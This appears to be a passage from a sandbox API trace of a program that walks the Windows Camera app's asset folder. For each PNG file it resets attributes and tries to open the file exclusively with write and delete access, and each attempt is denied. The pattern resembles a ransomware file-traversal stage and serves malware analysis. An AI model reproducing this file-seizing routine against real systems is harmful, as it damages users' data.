	[0090.325] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b558ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b558ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b558ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.325] wcscmp (_String1="WindowsCameraMedTile.scale-200.png", _String2=".") returned 1
	[0090.325] wcscmp (_String1="WindowsCameraMedTile.scale-200.png", _String2="..") returned 1
	[0090.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2e34920
	[0090.326] wcscpy (in: _Dest=0x2e34920, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.326] wcscat (in: _Dest=0x2e34920, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.326] wcscat (in: _Dest=0x2e34920, _Source="WindowsCameraMedTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png"
	[0090.326] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.scale-200.png")) returned 0x20
	[0090.326] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.326] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.326] GetLastError () returned 0x5
	[0090.326] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34920) returned 1
	[0090.326] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b558ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b7bb46, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b7bb46, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x233, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.326] wcscmp (_String1="WindowsCameraSmallTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.326] wcscmp (_String1="WindowsCameraSmallTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.326] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2d883a8
	[0090.326] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.326] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.326] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSmallTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png"
	[0090.326] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-black_scale-200.png")) returned 0x20
	[0090.328] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.329] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.329] GetLastError () returned 0x5
	[0090.329] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.329] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b7bb46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b7bb46, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b7bb46, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.329] wcscmp (_String1="WindowsCameraSmallTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.329] wcscmp (_String1="WindowsCameraSmallTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2d883a8
	[0090.329] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.329] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.329] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSmallTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png"
	[0090.329] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-white_scale-200.png")) returned 0x20
	[0090.332] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.332] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.332] GetLastError () returned 0x5
	[0090.332] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.332] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.332] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b7bb46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ba1da4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ba1da4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x233, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSmallTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.332] wcscmp (_String1="WindowsCameraSmallTile.scale-200.png", _String2=".") returned 1
	[0090.332] wcscmp (_String1="WindowsCameraSmallTile.scale-200.png", _String2="..") returned 1
	[0090.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x144) returned 0x2d883a8
	[0090.332] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.332] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.332] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSmallTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png"
	[0090.332] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.scale-200.png")) returned 0x20
	[0090.333] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.333] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasmalltile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.333] GetLastError () returned 0x5
	[0090.333] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSmallTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.333] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.333] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92ba1da4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ba1da4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ba1da4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.333] wcscmp (_String1="WindowsCameraSplashScreen.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.333] wcscmp (_String1="WindowsCameraSplashScreen.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2d883a8
	[0090.333] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.333] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.333] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSplashScreen.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png"
	[0090.333] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-black_scale-200.png")) returned 0x20
	[0090.335] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.335] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.335] GetLastError () returned 0x5
	[0090.335] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.335] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.335] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92ba1da4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ba1da4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ba1da4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe47, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.335] wcscmp (_String1="WindowsCameraSplashScreen.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.335] wcscmp (_String1="WindowsCameraSplashScreen.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x2d883a8
	[0090.335] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.335] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.335] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSplashScreen.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png"
	[0090.336] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-white_scale-200.png")) returned 0x20
	[0090.338] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.338] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.338] GetLastError () returned 0x5
	[0090.338] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.339] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.339] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bc7ffd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92bc7ffd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92bc7ffd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraSplashScreen.scale-200.png", cAlternateFileName="")) returned 1
	[0090.339] wcscmp (_String1="WindowsCameraSplashScreen.scale-200.png", _String2=".") returned 1
	[0090.339] wcscmp (_String1="WindowsCameraSplashScreen.scale-200.png", _String2="..") returned 1
	[0090.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2d883a8
	[0090.339] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.339] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.339] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraSplashScreen.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png"
	[0090.339] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscamerasplashscreen.scale-200.png")) returned 0x20
	[0090.339] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraSplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
